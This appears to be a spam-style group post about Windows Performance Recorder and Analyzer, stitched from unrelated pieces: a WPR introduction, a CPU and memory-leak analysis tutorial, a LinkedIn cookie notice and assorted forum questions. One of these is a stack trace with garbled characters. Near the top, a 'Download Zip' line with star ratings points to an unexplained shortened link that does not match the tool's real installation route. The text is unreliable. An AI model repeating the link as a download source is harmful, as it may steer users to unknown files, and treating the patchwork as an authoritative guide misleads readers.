[Windows Performance Recorder (WPR.exe)

0 views

Skip to first unread message

Betty Neyhart

unread,

Jun 12, 2024, 6:30:42 AM6/12/24

to quilinightopk

If you want to just use wpr.exe command-line tool, it is included in the OS (Win10 or above). If you want to use the user interface version of WPR (WPRUI) or other tools that come with WPT, then the MSDN doc would help you get started. To make it easier, here are the steps to install.

Windows Performance Recorder (WPR.exe)

Download Zip ☆☆☆☆☆ https://t.co/Y50UhiURNV

Windows Performance Toolkit in ADK installation

(Optional) Add the installation directory to %Path%.The installation directory is: C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit.You may want to make sure the installed version of WPR is used vs. the default one included in the OS, i.e. from C:\windows\system32.

WPRUI vs. WPRWPR comes in two flavors, WPRUI(wprui.exe) and CLI (Command Line Interface, Wpr.exe). They both share the same dll but not all the features can be accessed through UI. WPRUI is an entry level automatic sedan whereas WPR is a high-end manual transmission car. If you drive only to near-by groceries and the office via well-known highways you can do that with WPRUI. However, if your needs are versatile and you want to ride the car for a long time, then you would probably want to choose a high-end car though it is manual.

One thing that stumbles the new WPT users is E_WPRC_DUPLICATE_INSTANCE_RUNNING error (0xc5580601). This error can happen on both CLI and UI. This error usually happens when a user executes WPRUI, has the window open, then executes WPR CLI to try something else. Then BAM! WPR complains. Another case, a user tries to open a second WPRUI, while WPRUI is already running in the background. BAM! Same error message box shows up.

Learning a new tool is never an easy job. ETW tools are one of the worst if you are not familiar with Event Tracing for Window (ETW) concepts. We will eventually get to ETW technology and more but the goal of this blog is to help the engineers to start using WPR, and help with issues around using WPR. In this first post, I have introduced list of acronyms that are used commonly, installation steps, the difference between WPR and WPRUI, and finally about the instance name and the error. With this WPR post series, I hope to lower the bar to the performance investigation.

LinkedIn and 3rd parties use essential and non-essential cookies to provide, secure, analyze and improve our Services, and to show you relevant ads (including professional and job ads) on and off LinkedIn. Learn more in our Cookie Policy.

Why the CPU utilization is near to 100% on my server machine? Why there is a steady decrease in the available memory? Why the calls are getting dropped? We often get these kinds of questions If we are from a performance upkeep team. And most of the times we do not know the answers of any of those questions. Fortunately, now, Microsoft has come for our rescue with Microsoft performance toolkit. Using this toolkit, you can answer which API / function of your server consumes high percentage of CPU time. You can answer which function is leaking memory, where the network is getting stuck. You can track almost all the OS resources like disk I/O, File I/O, Power usage, GPU activity, audio, video and many more. In this article we will see how to use the windows performance tool kit to do high CPU utilization analysis and memory leak analysis.

Windows performance toolkit has two main components: Windows Performance Recorder (WPR) and Windows Performance analyzer(WPA). Windows performance recorder is used to record windows session. It can record all activities / events and resource consumption for the current session. The collected data is then stored in a file. Windows performance analyzer is used to analyze the data collected by WPR.

In the following program functions highCPU(), midCPU() and lowCPU() are CPU bound functions. The names given to these functions indicate the level of CPU usage. Function memoryLeak() leaks some memory allocated on heap. This function is used to demonstrate the memory leak analysis. First, start recording session using windows performance recorder (WPR) and then start executing the following program. Once the program finishes execution stop the recording and open the recorded file in windows performance analyzer.

Windows Performance Analyzer (WPA) is a tool that creates graphs and data tables of Event Tracing for Windows (ETW) events that are recorded by Windows Performance Recorder (WPR), Xperf, or an assessment that is run in the Assessment Platform. WPA can open any event trace log (ETL) file for analysis.

Double click on the .etl file generated by WPR, it will open that file in WPA. In the WPA on the left-hand side you can see a graph explorer window. By default, you can see an empty analysis view is opened. If not, then go to top menu bar Windows->New Analysis View to open analysis view.

The first thing you should do before starting any analysis is that you should configure symbol paths for your exe / server. To do that click on Trace->Configure Symbol Paths. In the opened dialog box add path to the .pdb files of your application.

On the Analysis tab, you can select a time interval by dragging the pointer horizontally across a section of the graph. The timeline at the bottom of the tab applies to all graphs on the tab.

After you have selected a time interval, you can zoom in to expand that time interval to the full width of the Analysis tab. To do this, right-click the interval, and then select Zoom to selected time range. You can repeat this step several times to see very fine detail of a very small time interval.

In our case, for the poorperformance.exe file, If you zoomed in you will see that the highCPU() was the main culprit for high CPU usage. Please see the image below, the highlighted sky blue color shows the overlap between CPU utilization graph and the time period for which the highCPU() was in execution. This is how you can find out the functions which are responsible for the high CPU usage.

In the zoomed graph you can see that the spike in the memory consumption is due to memoryLeak() function. And, as the memory is not getting released even after the function finishes its execution it shows that there are memory leaks in the memoryLeak(). This is how one can do the memory analysis.

I am trying to figure out a way to check when the Explorer Init phase is ending for user sessions logging in to Windows. Anybody knows how Windows actually decide when the Explorer Init phase has ended? I can't rely on Xperf logs since that should be part of a real-time monitoring solution

I am looking for some documentation source where dumpfile.xml is explained in detail which we get from converting etl file using tracerpt command. Till now I have only found glimpses of it online. Please let me know if anyone knows about the right place to find it.

Error: There was an error loading Local Preferences from C:\Users\George\AppData\Local\Windows Performance Analyzer\Preferences.xml. Exception: System.IO.FileNotFoundException: ?????? ???????? ???????????? ?? ???????????? ?????? ?????????????? 'C:\Users\George\AppData\Local\Windows Performance Analyzer\Preferences.xml'.
?????????? ??????????????: 'C:\Users\George\AppData\Local\Windows Performance Analyzer\Preferences.xml'
???? System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)
???? System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)
???? System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options, String msgPath, Boolean bFromProxy)
???? System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share)
???? Microsoft.Performance.Shell.RecentFiles.RecentFileService.TryLoadMruLists()

I'm now having serious I/O performance issue. I saw large gap (milliseconds) between IO Time and Disk Service Time. How to understand this gap? Is there any resource could tell the meaning of the column in WPA? thanks!

Hi all. We have a custom wdm USB audio driver that I'd like to profile. I'm most interested in the URB completion processing code which runs at IRQL_DISPATCH. I run an app that uses the driver, but I don't seem to be able to isolate the driver's usage statistics. I understand that calls to / from the driver may be from several different processes including the system process. Is there a way to group all of the activity for just my driver (module) ?

So it seems that WPR checks the current working directory when determining whether a profile file exists, but when it comes to loading a profile it first searches the installation directory. So if a profile file with the same name exists in both places the one from the installation directory is loaded (which is very confusing).

I hope this is the right forum to raise this issue as there isn't a forum dedicated to Assessment and Deployment Kit ADK. Please do let me know if there is a better place for this thread and I will move it there.

Recently, I'm triying to write a file system minifilter driver to intercept some I/O operations like "IRP_MJ_CREATE" to do some trace logging. I wrote a windows service which is to be enabled at system startup and load the minifilter driver. However, after I installed my minifilter driver, My windows cannot startup. It's stuck doing "startup repair". My platform is windows 7 build 7601, windows kits 6.9.9200.16384.

WPT is really awesome, but is limited to PDBs in its symbol lookup. In seeking symbols for proprietary apps; WPA uses dbghelp to successfully load the proprietary non-PDBs, but the WPA GUI is not willing to utilize them.

Executing the same command (with same results directory path) except changing the scenario to FastStartup or RebootCycle does generate the etl. Using WPRUI with hibernate or standby scenario successfully generates an etl.